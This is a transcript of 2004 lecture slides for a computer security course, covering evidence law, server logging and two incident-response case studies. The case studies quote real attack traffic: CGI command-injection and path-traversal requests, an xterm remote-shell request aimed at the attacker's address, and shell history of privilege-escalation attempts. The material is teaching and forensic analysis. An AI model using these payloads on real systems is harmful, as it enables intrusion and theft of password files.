CSCI E-170: November 30, 2004 Administrivia Federal Rules of Evidence Logging Integrity Management.

CSCI E-170: November 30, 2004

AdministriviaFederal Rules of EvidenceLoggingIntegrity Management

Administrivia

Project Proposals are due today– Who is in your group?– What are you doing?– Not graded

Quiz #2: You will be given 4 papers and expected to write a page on each.

Administrivia 2

Some students have not turned in any work to date…. – Think about dropping the course.

Students who do not turn in a final project will fail.

Federal Rules of Evidence

9 Articles Many states follow FRE Codifies common law

Why study them?

Article I: Ground Rules

Rule 101 - Scope– Rule 1101 - Does not apply to preliminary

questions of fact, grand jury, miscellaneous proceedings

Rule 102 - Purpose:– Fairness– Eliminate unjustifiable expense and delay

Rule 103 - Rulings on Evidence– What to do when opposing parties disagree.

Article II: JUDICIAL NOTICE

Every case involves the use of hundres or thousands of non-evidence facts

When a witness says “car,” eveyone assumes that the “car” is an automobile, not a railroad car, that it is self-propelled, and so on.

ARTICLE III: PRESUMPTIONS IN CIVIL ACTIONS AND PROCEEDINGS Determines who has the burden of

rebutting the evidence. Presumption imposes on the party

against whom it is directed the burden of going forward with evidence to rebut or meet the presumption

ARTICLE IV: RELEVANCY AND ITS LIMITS Relevant evidence is admissible Irrelevant Evidence is inadmissible Evidence that wastes time can be excluded Character evidence of defendant not

admissible to prove conduct (unless introduced by defendant)

Character evidence of victim introduced only in homicide case to rebut evidence that alleged victim was first aggressor

Rule 412 - “rape shield” law

ARTICLE V: PRIVILEGES

“…may be interpreted by the courts of the United States in light of reason and experience”

ARTICLE VI: WITNESSES

Rule 601: Every person is competent to be a witness (except as otherwise provided)

Rule 602: Witness must have personal knowledge

Rule 605: Judge cannot testify as witness Rule 606: Juror may not testify as witness Rule 612: Adverse party is entitled access to

“writing used to refresh memory”

ARTICLE VII: OPINIONS AND EXPERT TESTIMONY Rule 701: Law Witness may not testify based

on “scientific, technical, or other specialized knowledge”

Rule 702: Experts must be qualified; use reliable principles and methods; witness must apply standards to this case.

Rule 704: Experts may state an opinion of the “ultimate issue,” except for matters of mental state.

ARTICLE VIII: HEARSAY

Rule 801: “Hearsay” is a statement, other than one made by the declarant while testifying at the trial or hearing, offered in evidence to prove the truth of the matter asserted.

Many, many exceptions to hearsay…– 803(5) - Recorded Recollection– 803(6) - Records of regularly conducted activity– 803(7) Absence of entry in records kept in

accordance with 803(6) “to prove nonoccurance or nonexistence”

ARTICLE IX: AUTHENTICATION AND IDENTIFICATION

Rule 901: Documents must be authenticated; many examples given

Rule 902: Some documents are self-authenticating; (computer records aren’t)

ARTICLE X: CONTENTS OF WRITINGS, RECORDINGS, AND PHOTOGRAPHS

Rule 1002: Originals are required, except where duplicates may be admitted.

Rule 1003: Duplicates may be admitted unless genuine questions are raised about the authenticity or in “unfair” circumstances.

What is an original computer record?

ARTICLE XI: MISCELLANEOUS RULES Rule 1101: Applicability Rule 1102: Amendments Rule 1103: Title

Orin S. Kerr article

What’s the point? What are “Records of regularly conducted

activity?” Are computer records “monolithic?” How do you Authenticate computer records?

How are they challenged? When do the Hearsay rules apply?

– What’s the deal with postings from websites of white supremacist groups?

– What about email in a harassment case?

What is a log?

Definition?

Unix vs. Windows?

Palm?

What gets logged?

What gets logged?

Logins / logouts Privilege escalation Security relevant events

What goes in a log?

Why keep logs?

Why look at logs? (Marcus)

Policy Legality Cost saving

Common mistakes (Marcus)

#1 – collecting it and not looking at it (might as well log to /dev/null)

#2 – watching logs from perimeter systems while ignoring internal systems

#3 – Designing your log architecture before you decide what you’re going to collect

#4 – Only looking for what you know you want to find instead of just looking to see what you find.

Common Mistakes 2:

#5 – Proceeding without doing envelope estimates with of load.

#6 – thinking your logs are evidence if you don’t collect them right

#7 – forgetting that this is just a data management problem

#8 – Drinking the XML Kool-ade

How are things logged?

f = fopen(“logfile”,”w+”) syslog() Logger

Web Logs

access_log vs. error_log 65.54.188.137 - - [30/Nov/2004:00:16:54 -

0500] "GET /photos/security/printTifs/medRes/onGray/platePlusStickerGreyMR.tif HTTP/1.0" 200 6017064 "-" "msnbot/0.3 (+http://search.msn.com/msnbot.htm)"

66.35.208.62 - - [30/Nov/2004:00:17:38 -0500] "GET /blog/index.rdf HTTP/1.1" 200 8882 "-" "Jakarta Commons-HttpClient/2.0.1"

Web logs…grep 'q=' ~www/simson.net/logs/access_log | sed 's/^.*q=//' | awk '{print $1;}' | head smart+identity+card&client=disney-go&start=10" simson&hl=de&lr=&ie=UTF-8&oe=UTF-8&start=20&sa=N" backing+up+raid+drives&hl=en&lr=&ie=UTF-8&oe=UTF-

8&start=10&sa=N" lzhuf&hl=en&lr=&ie=UTF-8&start=40&sa=N" brown+simson&FORM=SMCRT" %22home+wiring%22&_sb_lang=en" %22wireless+photo+album%22&lr=" lzhuf+public+domain&hl=en&lr=&ie=UTF-8&start=10&sa=N" simson&ie=ISO-8859-1&hl=en&btnG=Google+Search&meta=" simson&ie=ISO-8859-1&hl=en&btnG=Google+Search&meta="

Mail Logs

2004-11-13 23:51:35 H=ns.simson.net (64.7.15.234) [64.7.15.234] F=<[email protected]> rejected RCPT <[email protected]>: Unknown user







2004-11-13 23:52:01 H=ns.simson.net (cable-67-97-53-251.dct.al.charter.com) [64.7.15.234] F=<[email protected]> rejected RCPT <[email protected]>: Unknow

n user 2004-11-13 23:52:01 H=ns.simson.net (cable-67-97-53-251.dct.al.charter.com) [64.7.15.234]

F=<[email protected]> rejected RCPT <[email protected]>: Unkno wn user

Radius Logs Sun Mar 18 04:35:24 2001

Acct-Session-Id = "00000000” NAS-IP-Address = 192.168.1.5 Acct-Status-Type = Stop Acct-Session-Time = 0 Acct-Delay-Time = 0 Timestamp = 984918924 Request-Authenticator = Verified

Sun Mar 18 04:35:24 2001 Acct-Session-Id = "06000004” User-Name = "admin” NAS-IP-Address = 192.168.1.5 Acct-Status-Type = Start Acct-Authentic = Local Service-Type = Administrative-User Login-Service = Telnet Login-IP-Host = 192.168.1.1 Acct-Delay-Time = 75 Timestamp = 984918924 Request-Authenticator = Verified

Security Incidents: Strange Authentication Attempts I woke up to find these entries in my RADIUS log file:

Tue Mar 30 10:26:00 2004: Auth: Login incorrect: [config/system] (from nas xxxx/S99) Tue Mar 30 10:26:00 2004: Auth: Login incorrect: [config/password admin] (from nas xxxx/S99) Tue Mar 30 10:26:00 2004: Auth: Login incorrect: [config/13370n3z] (from nas xxxx/S99) Tue Mar 30 10:26:01 2004: Auth: Login incorrect: [password/fawkoffsz] (from nas xxxx/S99) Tue Mar 30 10:26:01 2004: Auth: Login incorrect: [password/save] (from nas xxxx/S99)

http://seclists.org/lists/incidents/2004/Mar/0116.html

Log architectures

UDP log issues Windows

Logging on Unix

/etc/syslog.conf /etc/newsyslog.conf Grep swatch

Logging on Windows:

Event Viewer Local security settings

Log hosts & Aggregation

Can you trust these logs?

October 7th, 1997

6:00pm– Arrive hotel in New York City.– Phone system does not support my

modem.– Cell phone reception is terrible.

8:45pm– Phone call from Eric Bates.– “I think that we have a visitor.”

Wed October 7th, 1997

User http is logged in on ttyp0 and idle for one day:

bash-2.02# w 8:57PM up 27 days, 14:19, 5 users, load averages: 0.28, 0.33, 0.35USER TTY FROM LOGIN@ IDLE WHAThttp p0 KRLDB110-06.spli Tue02AM 1days /bin/shsimsong p1 asy12.vineyard.n 8:42PM 15 -tcsh (tcsh)ericx p2 mac-ewb.vineyard 8:46PM 0 scriptericx p3 mac-ewb.vineyard 8:46PM 11 topericx p4 mac-ewb.vineyard 8:53PM 1 sleep 5bash-2.02#

(Other employees had seen this and ignored it!)

First step: Document the machine script(1) to create a transcript

– ps process list– netstat -a open network connections– (lsof) open files– grep ‘krldb’ access_log likely avenue of attack

Goals:– Don’t alarm intruder.– Find mechanism of access– Find out what he/she did.– Plug the holes.

ps - processes

Attacker only had two processes– /bin/sh on /dev/ttyp0 (2 copies)

PID 18671 and 26225

– Idle since 2AM the previous day.

walden: {336} % grep p0 plist

http 18671 0.0 0.1 244 276 p0 Is Tue02AM 0:02.23 /bin/sh

http 26225 0.0 0.1 236 276 p0 I+ Tue04AM 0:00.07 /bin/sh

walden: {337} %

netstat - network connections

“w” gave incomplete hostname:– KRLDB110-06.spli

netstat revealed one connection -- x11!bash-2.02# netstat -a

Active Internet connections (including servers)

Proto Recv-Q Send-Q Local Address Foreign Address (state)

. . .

tcp 0 0 APACHE.VINEYARD..3098 KRLDB110-06.spli.X11 ESTABLISHED

Use netstat –n to get IP address, from which you can get the full DNS name.

access_log - showed attack

Grep krldb /usr/local/apache/logs/access_log

krldb110-06.splitrock.net - - [06/Oct/1998:02:53:48 -0400] "GET /cgi-bin/phf?Qname=me%0als%20-lFa HTTP/1.0" 404 - "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/captiva“

krldb110-06.splitrock.net - - [06/Oct/1998:02:53:50 -0400] "GET /cgi-bin/faxsurvey?ls%20-lFa HTTP/1.0" 200 5469 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/captiva“

krldb110-06.splitrock.net - - [06/Oct/1998:02:53:52 -0400] "GET /cgi-bin/view-source?../../../../../../../../etc/passwd HTTP/1.0" 404 - "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/captiva"

Attacker GETs

GET /cgi-bin/phf?Qname=me%0als%20-lFaGET /cgi-bin/faxsurvey?ls%20-lFaGET /cgi-bin/view-source?../../../../../../../../etc/passwdGET /cgi-bin/htmlscript?../../../../../../../../etc/passwdGET /cgi-bin/campas?%0als%20-lFaGET /cgi-bin/handler/useless_shit;ls%20-lFa|?data=DownloadGET /cgi-bin/php.cgi?/etc/passwdGET /cgi-bin/faxsurvey?ls%20-lFaGET /cgi-bin/faxsurvey?uname%20-aGET /cgi-bin/faxsurvey?idGET /cgi-bin/faxsurvey?cat%20/etc/passwdGET /cgi-bin/faxsurvey?ls%20-lFa%20/usr/GET /cgi-bin/faxsurvey?idGET /cgi-bin/faxsurvey?pwdGET /cgi-bin/faxsurvey?/bin/pwdGET /cgi-bin/faxsurvey?ls%20-lFaGET /cgi-bin/faxsurvey?ls%20-lFa%20../conf/

Facts so far

It looks like the faxsurvey program allowed attacker to run arbitrary programs.

No evidence that he ran xterm --- except for the X11 connection back to his machine.

We don’t know what he did or what else he knows.

Action plan

1. Add filter to router to block all access from splitrock (his ISP).

2. STOP his processes and gcore them to get command history.

• kill -STOP PIDs• gcore -c file pid• strings file

3. Rename/remove the faxsurvey program (part of hylafax system).

Selected Environment variablesfrom /bin/sh #1:GATEWAY_INTERFACE=CGI/1.1

REMOTE_HOST=krldb110-06.splitrock.net

REMOTE_ADDR=209.156.113.121

DOCUMENT_ROOT=/htdocs/biz/captiva

REMOTE_PORT=4801

SCRIPT_FILENAME=/vni/cgi-bin/faxsurvey

LOGNAME=http

REQUEST_URI=/cgi-bin/faxsurvey?/usr/X11R6/bin/xterm%20-display%20209.156.113.121:0.0%20-rv%20-e%20/bin/sh

DISPLAY=209.156.113.121:0.0

SERVER_PORT=80

SCRIPT_NAME=/cgi-bin/faxsurvey

History from /bin/sh #1:

st2.c

cron.c

cxterm.c

x2.c

qpush.c

cat t.c

cat .c

cat s.c

gc c

ls -lFa

./s -v c2

./s p0

ls -lFa /

cat .s

ls -lFa

cat /w

ls -lFa /

cat .s

_=.s$ : not foundgcc -o s steal.cls -lFa *.cgcc -o s s.cftp 209.156.113.121gcc -o s st2.c./s consolet .s.121qpush.cppp.ct2.ccron.ccxterm.ctcshx2.cREADMEREADME.debian

qpushqpush.cqpush.c.oldgf: not found/tmpmfs:28/bin/sh

…Looks like the attacker was trying to get some sort of root-stealing exploit for Linux (or Debian Linux) to work on the machine.

Selected history from /bin/sh #2:/bin/sh/bin/sh/etc/inetd.confqpush.c/usr/bin/gccn/gcc./ccexprdone/bin/shinetd.conft) | telnet 127.1 143cd /etccat .swhich pwdls -lFaexpr $L + 1ls -lFa./cc -10./cc

Attacker sees that we are running imap

Selected history from /bin/sh #2:./cc/tmp/.s/tmpcd /tmpcd .sL=100cd .sL=-100ls -lFacd /tmp/bin/sh./q 127.1load/bins_=127.1_=/bins./cc./cc -92./cc -100./cc 100cat .s./cx

Attempts to exploitimap vulnerability

Selected history from /bin/sh #2:cat .sexport L_=.scat /etc/passwd |grep "root"DISPLAY=209.156.113.121:0.0 -rvgdsgDISPLAY=209.156.113.121:0.0cat /etc/passwd |Grep "http"cat /etc/passwd |grep "http"cat /etc/passwd |grep "www"while [ $: done2 $Lecho $L(./i 403 0xefbfd5e8 100; cat) |nc 127.1 143cx $L$L +1`(./i 403 0xefbfd5e8 100; cat) | telnet 127.1 143echo./cc $LL=`expr $L + 1`

Tries again for imap

Searching for accountsand passwords…

Selected history from /bin/sh #2:unameftp 209.156.113.121mv pp.c p.cls -lFa mas*ls -lFa /etc |grep "mas"cat master.passwdtelnet 127.1 25locate modstatwhich modstatls -lFa /usr/bin/mo*locate modstatelocateico s.clocate modloadgrepftp wildsau.idv.uni-lkii-lkicat /etc/inetd.conf./q -0 127.1cat /etc/inetd.coinfftp 209.156.113.121gcc -o cc cron.cftp 209.156.113.121gcc -o cx cxterm.c

Tries again for sendmail

Tries for shadow passwordfile

Tries for linux kernel module loader

And so on…

Epilogue

We spoke with Splitrock– They didn’t seem to care (Splitrock is a prodigy

dialup port in Texas.)– Eventually we were forced to lower the block.

FBI didn’t care– This guy is clearly good…– But we didn’t have more than $8,000 in damages.

Vulnerability in faxsurvey had been reported July 29, 1998 – nearly three months before incident!

BUGTRAQ Report

Date: Tue, 4 Aug 1998 07:41:24 -0700Reply-To: [email protected]: Tom <[email protected]>Subject: remote exploit in faxsurvey cgi-script

Hi!

There exist a bug in the 'faxsurvey' CGI-Script, which allows an attacker toexecute any command s/he wants with the permissions of the HTTP-Server.

All the attacker has to do is type"http://joepc.linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd"in his favorite Web-Browser to get a copy of your Password-File.

All S.u.S.E. 5.1 and 5.2 Linux Dist. (and I think also older ones) with theHylaFAX package installed are vulnerable to this attack.

AFAIK the problem exists in the call of 'eval'.

I notified the S.u.S.E. team (suse.de) about that problem. BurchardSteinbild <[email protected]> told me, that they have not enough time to fix thatbug for their 5.3 Dist., so they decided to just remove the script from thefile list.

Epilogue 2

Follow security advisories.– Hard to do.

Don’t let http:– run gcc– read /usr/include

Detecting attacks with MRTG

Developed by – Tobias Oetiker <[email protected]>– Dave Rand <[email protected]>

Designed to graph bandwidth of connections

Useful for graphing any value that changes over time.

http://www.ee.ethz.ch/~oetiker/webtools/mrtg/mrtg.html

http://www.ee.ethz.ch/~oetiker/webtools/mrtg/mrtg.html

Typical MRTG uses

T1 utilization:

Dialup utilization:

More MRTG uses:

CPU utilization:

GIF response time:

MRTG shows changes over time Hourly

Daily

Weekly

Monthly

May 19, 1998

10:00 am– Meeting in Washington DC at the FBI.

3:30pm – Get on train from Washington -> Boston

(8 hour train ride - good chance to relax.) 4:30pm

– Call on cell phone from Aaron

Things are acting strange…

Single server– WWW, POP, IMAP, etc.

CGI scripts terminating abnormally. POP server sometimes disconnecting

before e-mail is downloaded. Finger doesn’t work quite right. Rest of Internet seems normal.

What’s wrong?

No clue… Reboot the computer! Problem goes away for 30 minutes,

then comes back…

Process list looks normal…

USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMANDsimsong 1770 86.4 2.0 5184 5212 p3 R 5:34PM 4:47.73 /usr/local/bin/perl

/usr/local/bin/report.www -v (report.www)root 24659 31.4 0.0 0 0 ?? Z 4:19PM 0:00.00 (admin_server)root 2345 2.0 0.1 220 284 ?? S 31Dec69 0:00.02 (ping)root 1406 0.0 0.0 0 0 ?? Z 5:32PM 0:00.00 (junkbuster)root 0 0.0 0.0 0 0 ?? DLs Mon01PM 0:00.30 (swapper)root 1 0.0 0.1 148 288 ?? Ss Mon01PM 0:01.63 /sbin/initroot 2 0.0 0.0 0 12 ?? DL Mon01PM 0:00.01 (pagedaemon)root 15 0.0 0.0 68 64 ?? Is Mon01PM 0:00.00 asyncd 2root 17 0.0 0.0 68 64 ?? Is Mon01PM 0:00.02 asyncd 2root 26 0.0 0.8 748 2008 ?? Ss Mon01PM 0:00.67 mfs -o rw -s 40960 /dev/sd0b

/tmp (mount_mfs)root 51 0.0 0.1 268 296 ?? Ss Mon01PM 0:02.92 gettyd -sroot 62 0.0 0.1 160 340 ?? Ss Mon01PM 1:19.11 syslogddaemon 65 0.0 0.1 112 184 ?? Ss Mon01PM 0:01.36 portmaproot 72 0.0 0.1 216 300 ?? Ss Mon01PM 0:01.34 mountdroot 74 0.0 0.1 144 288 ?? Is Mon01PM 0:00.01 nfsd-master (nfsd)root 76 0.0 0.0 76 100 ?? I Mon01PM 0:00.00 nfsd-server (nfsd)root 77 0.0 0.0 76 100 ?? I Mon01PM 0:00.04 nfsd-server (nfsd)root 78 0.0 0.0 76 100 ?? I Mon01PM 0:00.00 nfsd-server (nfsd)root 79 0.0 0.0 76 100 ?? I Mon01PM 0:00.00 nfsd-server (nfsd)root 80 0.0 0.0 76 100 ?? I Mon01PM 0:00.00 nfsd-server (nfsd)

MRTG reveals a problem…

Something is eating a lot of outgoing bandwidth…

BLUE is transmitted data

GREEN is received data

Process list shows a problem far down from the top…ftp 1471 0.0 0.2 740 496 ?? I 12:28PM 0:13.88

ds9.kulnet.kuleuven.ac.be: anonymous/[email protected]: RETR pwa98cbl.zip\r\n (ftpd)

ftp 1750 0.0 0.2 752 504 ?? S 12:32PM 0:12.79 ds9.kulnet.kuleuven.ac.be: anonymous/guest@: RETR pwa98cbj.zip\r\n (ftpd)

ftp 6982 0.0 0.2 288 480 ?? S 1:20PM 0:17.21 142.194.48.68: anonymous/getright@: RETR /simson/open/nothing_here/this_site_sucks/pwa98cbg.zip\r\n (ftpd)

ftp 10062 0.0 0.2 288 480 ?? S 1:53PM 0:00.27 cmodem85.lancite.net: anonymous/getright@: RETR /simson/open/ /calibreX/Win98.Final-PWA/pwa98cbf.zip\r\n (ftpd)

ftp 10088 0.0 0.2 288 480 ?? S 1:54PM 0:00.27 cmodem85.lancite.net: anonymous/getright@: RETR /simson/open/ /calibreX/Win98.Final-PWA/pwa98cbe.zip\r\n (ftpd)

ftp 10125 0.0 0.2 288 480 ?? S 1:54PM 0:00.28 cmodem85.lancite.net: anonymous/getright@: RETR /simson/open/ /calibreX/Win98.Final-PWA/pwa98cbd.zip\r\n (ftpd)

ftp 10251 0.0 0.2 288 480 ?? S 1:55PM 0:00.28 cmodem85.lancite.net: anonymous/getright@: RETR /simson/open/ /calibreX/Win98.Final-PWA/pwa98cbc.zip\r\n (ftpd)

Total simultaneous FTP transfers: 106

Netstat reveals further information…walden: {424} % more netstat-list Active Internet connections (including servers)Proto Recv-Q Send-Q Local Address Foreign Address (state)tcp 0 0 VINEYARD.NET.http a2p09.capcon.net.1203 SYN_RCVDtcp 0 0 VINEYARD.NET.http DSY4.VINEYARD.NE.1406 SYN_RCVDtcp 0 0 VINEYARD.NET.pop ASY5.VINEYARD.NE.2117 ESTABLISHEDtcp 0 1513 VINEYARD.NET.http 207.112.204.161.1570 FIN_WAIT_1tcp 0 8500 VINEYARD.NET.http srry01m05-128.bc.1505 ESTABLISHEDtcp 0 7168 VINEYARD.NET.http hd62-160.hil.com.2033 ESTABLISHEDtcp 0 8192 VINEYARD.NET.http 208.232.119.2.4125 ESTABLISHEDtcp 0 7552 VINEYARD.NET.20 hades.osc.epsilo.2943 ESTABLISHEDtcp 0 6952 VINEYARD.NET.http ww-tl01.proxy.ao.37672 ESTABLISHEDtcp 0 0 VINEYARD.NET.ftp dns1.bit-net.com.2268 ESTABLISHEDtcp 0 0 VINEYARD.NET.http cs206-32.student.1068 FIN_WAIT_2tcp 0 0 VINEYARD.NET.ftp spc-isp-mon-uas-.1037 ESTABLISHEDtcp 0 0 VINEYARD.NET.ftp kenny26.zip.com..1033 ESTABLISHEDtcp 0 0 VINEYARD.NET.http cs206-32.student.1067 FIN_WAIT_2tcp 0 0 VINEYARD.NET.ftp sladl3p24.ozemai.1676 ESTABLISHEDtcp 0 8760 VINEYARD.NET.pop ASY10.VINEYARD.N.1043 ESTABLISHEDtcp 0 0 VINEYARD.NET.http cs206-32.student.1065 FIN_WAIT_2tcp 0 7360 VINEYARD.NET.20 195.120.233.99.1819 ESTABLISHEDtcp 0 7340 VINEYARD.NET.1093 204.138.179.14.20 ESTABLISHED

We’ve been warezed!

ftp://vineyard.net/simson/open– World-writable FTP directory.

Two directories were created in open:– “ ” Three spaces– “nothing_here”

File list

./open/ /

./open/ /calibreX/

./open/ /calibreX/Win98.Final-PWA/

./open/ /calibreX/Win98.Final-PWA/Microsoft_WIndows98_FINAL_Retail_Full_Setup-PWA/

./open/ /calibreX/Win98.Final-PWA/Microsoft_WIndows98_FINAL_Retail_Full_Setup-PWA/PWA.NFO

./open/ /calibreX/Win98.Final-PWA/Microsoft_WIndows98_FINAL_Retail_Full_Setup-PWA/pwa98rfl1.zip

./open/ /calibreX/Win98.Final-PWA/file_id.diz

./open/ /calibreX/Win98.Final-PWA/PWA.NFO

./open/ /calibreX/Win98.Final-PWA/pwa98cba.zip

./open/ /calibreX/Win98.Final-PWA/pwa98cbd.good.zip

./open/ /calibreX/Win98.Final-PWA/pwa98cbb.zip

./open/ /calibreX/Win98.Final-PWA/pwa98cbc.zip

./open/ /calibreX/Win98.Final-PWA/pwa98cbd.zip

./open/ /calibreX/Win98.Final-PWA/pwa98cbe.zip

. . .

./open/nothing_here/

./open/nothing_here/ /

./open/nothing_here/ /pwa98cba.zip

/Microsoft_WIndows98_FINAL_Retail_Full_Setup-PWA/ Pirates With Attitudes

– Supplier: PWA Gods– Cracker: N/A– Packager: Murmillius– Protection: Serial Number– Type: Operating System– Disks: 21 x 5meg

PWA.NFO

Here it is: Windows '98 Final release - Retail Full Install!

While every other group will be bringing you so many good programs for this operating system, it's PWA that brings you the OS itself. It is fortunately for the user community that this is the case or you would probably have ended up with a ripped down release from some other lame group missing important system files like KRNL386.exe, because disklimits are more important nowadays to these people than a working release.

PWA.NFO … cont

You need to download the CABS and the RETAIL SETUP and unzip/unrar everything into one directory. The reason for this is that as soon as I get install keys, I can release RETAIL UPGRADE, OEM FULL and OEM UPGRADE versions and they will only take 4 meg each (the CAB zips are generic thruout all these versions, I can just package up the differences in seperate zips to save everyone space and time). You just unzip whichever one you want into the same directory as the generic CAB zips.

Question: Is PWA.NFO Hearsay?

What we did

Called Microsoft’s anti-piracy line.– Useless

Called FBI– Pretty useless as well.

Called Pace University– This got results…– …not necessarily the right results.

Integrity Management

What is it? How do you do it?

Tripwire Comparison Copies

CSCI E-170: November 30, 2004 Administrivia Federal Rules of Evidence Logging Integrity Management.

Documents

Transcript of CSCI E-170: November 30, 2004 Administrivia Federal Rules of Evidence Logging Integrity Management.